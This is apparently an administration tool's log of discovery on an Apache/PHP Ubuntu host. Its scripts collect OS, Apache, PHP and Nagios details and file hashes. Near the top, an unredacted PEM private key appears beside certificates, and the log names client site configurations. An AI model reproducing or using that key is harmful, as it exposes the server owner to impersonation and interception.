3rKQQevHwiFaIr9/1bWtdprZDlLNAAABndrMYWkAAAQDAEgwRgIhAIOaWXN4IES0
6MCJDdZarJAdqdUeP/A3LsW7AQjuvESDAiEAlDO/7Yjm4dILSl5jilyo8c7ANCb0
wSjA7y6e7C0VZAgAfwAai51rD/6/gbR5OcbSMQqG1tEC1PBG4hgsneNfXiYl7wAA
AZ3azGG8AAgAAAUADT03vQQDAEgwRgIhALWL3YUz882g0Ljk67+hQL0Qf/Dv3ajb
PHCOpJXzZdRoAiEAn2al3xHX3jP/kHSGlieFWs3kKuqsaMvkTPm4gjejT2MwDQYJ
KoZIhvcNAQELBQADggEBAIKUME2eGmYXuBw2ZhIhjraIY7IzD32H2PmhyY5AdxHb
FCj56vX1oIKVXRKpc56dn+Vpg47VMn0t1/8LTZNEsfRynrfAXvJo7C5R8a51vmsO
eVId9ctenIf8Xv8mdLlBS3igGTANS91Cqama0K1kB0M3J7zIiZAHBXOxfnHhIzlb
NnpgUNNYkWjMod2vQd/fZNe54scw1BP73oPbQ44xTZRC+/i5qTqseo0wZmBEHcyf
StvDIfZE49nFQsluUtrmpY/YdGrkb8t43Zp91Vnvae5qTKiHAcXUg67XN3Vq/8Zt
mjoLY+tTyAXUjyHFeFDIUu9us7iZ/yhs6csSm1rDM0Y=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCk/s7LUtaQMuGa
Ar2/D8gNtVYQNmBGZU/ge21/8mQ8R5+E6Lor5AUgh3wgzEq0J8vBqW8LdGs2V+1k
yFth9z51huXgYNIAub/zBHgIoavdc0SKvrhlIOl4j9SkeVX9VfrivMBQF0uS5X92
+bgjYjjQb4KaHTrS5BmeKPJNEJFi8ZQAMbGV/5TsjZ1y3yJSM4gZ6c5Vo4IvrriK
V+Kg+YkyO2FkcUrHs2GMM1CmlByKhwH0KMi+Ej87H/aC6/M1qDZKdzHQY5ykC5Yz
9NDv2LtHQOmfZUBwZAMMtm5OGuQk9+V1F2SEesgxEBIrYd7f9Ws5O35ZuP0M7CWg
wvDf0f89AgMBAAECggEAAKDCtdzMN6lqcplQAV3a+giDawrYVsKmr61FYoUdBUjH
kXsqNbKfLF+wK0oN5UQ9G8qNZXoyp7sgrJwoEwPx/IuGl7iHrsCw5ir8Fhp1BV23
LaKKhspocZuGiKEN/pACgxLgPF7eD3fEnCCMDaJsPBFBHaGDDJHVFFQOkVy4WO/i
rU0ScWp8k/sY/coNOg8DtnLFevTI+NaJDQqnWXgiUye5ELnKRgAfDQ8QFmVNPbN9
8CEUzfBHrPpbNg7ocZTgxSTj2w+Ym6dAr7rWqxRLU9iidClbduKx3qrtn9IrIrsS
psOylaNj8kfTD9ZE9Db7tYOPgDlqribWMdDhmnEnMQKBgQDahI4TX3PkaSJxZDKx
A0nId73rU5LjDfj8eOqJ2yeB+Sa5H/yoORBOqVJoQLvX4i1dCHkgcpVVSg692fjL
qH888MvLkCmz1LxKup4OMTvBlgUesuPDGl1ma2gfaxhchPkCIkTTU3ffsm4/9CkK
edhYGs4GMIlwU9p7FEwKzTDqZQKBgQDBTABjCmIYYHIlOoWhiPX1AaLXwjHPuL5M
dixjslZLJIFS/4g9GOw7ck9/jMDu0dBrHeNQw1g5oLURgf+JcIDXzQkI585qn6A7
LF98hou54bcN8mm4ehd9TBawgiHPDt1G6EYUzFH8OtsmNXH4nDswpVFvfKRozLkL
9iHmL4xH+QKBgHr7J0rX6c2fLfdLQQxGoXvliEmtG3oWHw9YrgcwBCguJREDY5r5
oqfiu7JY3F8/t/AoGKOeWVVK/Mj0qAVWq2WMz+WdGRtQmzgjl1i9dLgayn7ghzcC
25YM1Oj5yRgo7ku5JasZytlm/o2XyJFQyeWsEE+DeZZyWv/yCGn72Y/RAoGAdHqb
8RKcshvMLOrrA8BIlm959ZIr+gRViDXd4eXhYj6JP76EFm0iTWBAz5e92yvL8AB+
rnhIfdF9yyMPHX8R5PjE7PziwhWWtJG0qJFbOZPufxUI6AWKihKDybFhNii65rOp
J3dIIDpHPOsP1sQuVs4IGKp/WDelerPDEbatTeECgYANY9Yb8m5e+KfmfjJNccCR
wTPHicKW+ZI6hGxssFP9JUEfajwzSKJhQTmEf+xSLVID2KZ6kuDC1cygEnTYhoEJ
LcM0Dx2Z+cdLJ/u5PXagkDGntw/7xdY2jjItCfVSruDJ4BJ7uj+Cr3PNgE86yexW
t8sPXHj0IpBcZvJQiFcSJA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/cityelectric_www_online.conf)= 98a5766b5fedd44b564deeae2b7f4597
MD5(/etc/ssl/certs/58e746b88fcdd674270ef29574194035.crt)= 022cdad52e685522d13d48e47c3c5686
MD5(/etc/apache2/sites-available/pjy_home_us.conf)= b92aff1e8d83db409d859ecc91bbe2ea
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= 2298e5132e19c3f8863e74b7041ba773
MD5(/etc/apache2/sites-available/theyoungdesigners_stage.conf)= fc64afe4586a8bfa5c1631843e3180d4
MD5(/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt)= 17a958139644e8e66f4954ca8fc2f637
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf)= 40743bf141b7da55b55cc9e1aa210026
MD5(/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt)= b3fe622ab65ad51119816e4134b01563
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= ca34edd674c003e68e65b9ddf3a5583b
MD5(/etc/apache2/sites-available/pjy_alive_us.conf)= 11f7b6884662bd4fc09883fceeb3679c
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= 2298e5132e19c3f8863e74b7041ba773
MD5(/etc/apache2/sites-available/youngrepairs_www_com.conf)= a1c317d220275ad54e806f92d87da235
MD5(/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt)= d0adbd262909ed5755eb543ae4ed3506
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2/sites-available/theyoungdesigners_stage.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf
link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2/sites-available/pjy_alive_us.conf
link(/etc/apache2/sites-enabled/youngrepairs_www_com.conf)= /etc/apache2/sites-available/youngrepairs_www_com.conf




STDERR:
/tmp/pkp597055:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-05-07 14:58:48: Establishing a connection
2026-05-07 14:58:56: Establishing a connection
2026-05-07 14:58:56: Performing Server Status
2026-05-07 14:58:56: 

PUT: /tmp/pkp513393

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-05-07 14:58:56: 

chmod 755 /tmp/pkp513393; /tmp/pkp513393; rm /tmp/pkp513393

2026-05-07 14:58:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
condor

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-111-generic



2026-05-07 14:58:56: 

PUT: /tmp/pkp361172

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-05-07 14:58:56: 

chmod 755 /tmp/pkp361172; /tmp/pkp361172; rm /tmp/pkp361172

2026-05-07 14:58:57: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 32182
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root       32182  0.0  1.0 261268 42056 ?        Ss   May06   0:09 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-05-07 14:58:57: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'condor',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php_module',
      26 => 'reqtimeout_module',
      27 => 'rewrite_module',
      28 => 'setenvif_module',
      29 => 'socache_shmcb_module',
      30 => 'ssl_module',
      31 => 'status_module',
    ),
  ),
)


2026-05-07 14:58:57: 

PUT: /tmp/pkp257882

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-05-07 14:58:57: 

chmod 755 /tmp/pkp257882; /tmp/pkp257882; rm /tmp/pkp257882

2026-05-07 14:58:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-05-07 14:58:57: 

PUT: /tmp/pkp268989

#!/bin/bash
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-05-07 14:58:57: 

chmod 755 /tmp/pkp268989; /tmp/pkp268989; rm /tmp/pkp268989

2026-05-07 14:58:58: 


[php8.2]
php=/usr/bin/php8.2
fpm=
version=8.2.30
[php8.2]
php=/usr/bin/php8.2
fpm=
version=8.2.30


2026-05-07 14:58:58: 

PUT: /tmp/pkp433344

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-05-07 14:58:58: 

chmod 755 /tmp/pkp433344; /tmp/pkp433344; rm /tmp/pkp433344

2026-05-07 14:58:58: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= dd4b06ffdde547e7ae66453ed8af464f
bin(/usr/local/nagios/libexec/check_ssh)= 4998ed8f57fbf48bb709a91b5f67fa88
bin(/usr/local/nagios/libexec/check_ntp_time)= cdcc9ae74ad304a1103f3b26aa2a4302
bin(/usr/local/nagios/libexec/check_dummy)= 593927625b5adf7f6cc5626cf271b00c
